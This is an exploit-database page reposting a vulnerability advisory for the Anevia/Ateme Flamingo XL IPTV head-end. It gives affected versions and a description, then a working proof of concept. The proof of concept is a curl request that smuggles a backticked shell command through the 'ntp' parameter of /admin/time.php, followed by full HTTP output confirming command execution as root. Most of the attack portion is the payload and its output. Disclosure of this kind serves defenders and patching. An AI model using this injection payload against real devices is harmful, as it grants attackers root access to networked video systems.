Anevia flamingo xl 3.6.20 authenticated root remote code execution Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-06-14 | Type : remote | Platform : hardware
This exploit / vulnerability Anevia flamingo xl 3.6.20 authenticated root remote code execution is for educational purposes only and if it is used you will do on your own risk!

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Exploit Title: Anevia Flamingo XL 3.6.20 - Authenticated Root Remote Code Execution
Exploit Author: LiquidWorm
Vendor: Ateme
Product web page: https://www.ateme.com
Affected version: 3.6.20, 3.2.9
Hardware revision 1.1, 1.0
SoapLive 2.4.1, 2.0.3
SoapSystem 1.3.1

Summary: Flamingo XL, a new modular and high-density IPTV head-end
product for hospitality and corporate markets. Flamingo XL captures
live TV and radio content from satellite, cable, digital terrestrial
and analog sources before streaming it over IP networks to STBs, PCs
or other IP-connected devices. The Flamingo XL is based upon a modular
4U rack hardware platform that allows hospitality and corporate video
service providers to deliver a mix of channels from various sources
over internal IP networks.

Desc: The affected device suffers from authenticated remote code
execution vulnerability. A remote attacker can exploit this issue
and execute arbitrary system commands granting her system access
with root privileges.

Tested on: GNU/Linux 3.1.4 (x86_64)
Apache/2.2.15 (Unix)
mod_ssl/2.2.15
OpenSSL/0.9.8g
DAV/2
PHP/5.3.6

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2023-5779
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5779.php

13.04.2023

--

> curl -vL http://192.168.1.1/admin/time.php -H "Cookie: PHPSESSID=i3nu7de9vv0q9pi4a8eg8v71b4" -d "ntp=`id`&request=ntp&update=Sync" |findstr root
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying 192.168.1.1:80...
* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)
> POST /admin/time.php HTTP/1.1
> Host: 192.168.1.1
> User-Agent: curl/8.0.1
> Accept: */*
> Cookie: PHPSESSID=i3nu7de9vv0q9pi4a8eg8v71b4
> Content-Length: 32
> Content-Type: application/x-www-form-urlencoded
>
} [32 bytes data]
100 32 0 0 100 32 0 25 0:00:01 0:00:01 --:--:-- 25< HTTP/1.1 302 Found
< Date: Thu, 13 Apr 2023 23:54:15 GMT
< Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8g DAV/2 PHP/5.3.6
< X-Powered-By: PHP/5.3.6
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
* Please rewind output before next send
< Location: /admin/time.php
< Transfer-Encoding: chunked
< Content-Type: text/html
<
* Ignoring the response-body
{ [5 bytes data]
100 32 0 0 100 32 0 19 0:00:01 0:00:01 --:--:-- 19
* Connection #0 to host 192.168.1.1 left intact
* Issue another request to this URL: 'http://192.168.1.1/admin/time.php'
* Switch from POST to GET
* Found bundle for host: 0x1de6c6321b0 [serially]
* Re-using existing connection #0 with host 192.168.1.1
> POST /admin/time.php HTTP/1.1
> Host: 192.168.1.1
> User-Agent: curl/8.0.1
> Accept: */*
> Cookie: PHPSESSID=i3nu7de9vv0q9pi4a8eg8v71b4
>
< HTTP/1.1 200 OK
< Date: Thu, 13 Apr 2023 23:54:17 GMT
< Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8g DAV/2 PHP/5.3.6
< X-Powered-By: PHP/5.3.6
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Transfer-Encoding: chunked
< Content-Type: text/html
<
{ [13853 bytes data]
14 Apr 03:54:17 ntpdate[8964]: can't find host uid=0(root)<br /> <----------------------<<
14 Apr 03:54:17 ntpdate[8964]: can't find host gid=0(root)<br /> <----------------------<<
100 33896 0 33896 0 0 14891 0 --:--:-- 0:00:02 --:--:-- 99k
* Connection #0 to host 192.168.1.1 left intact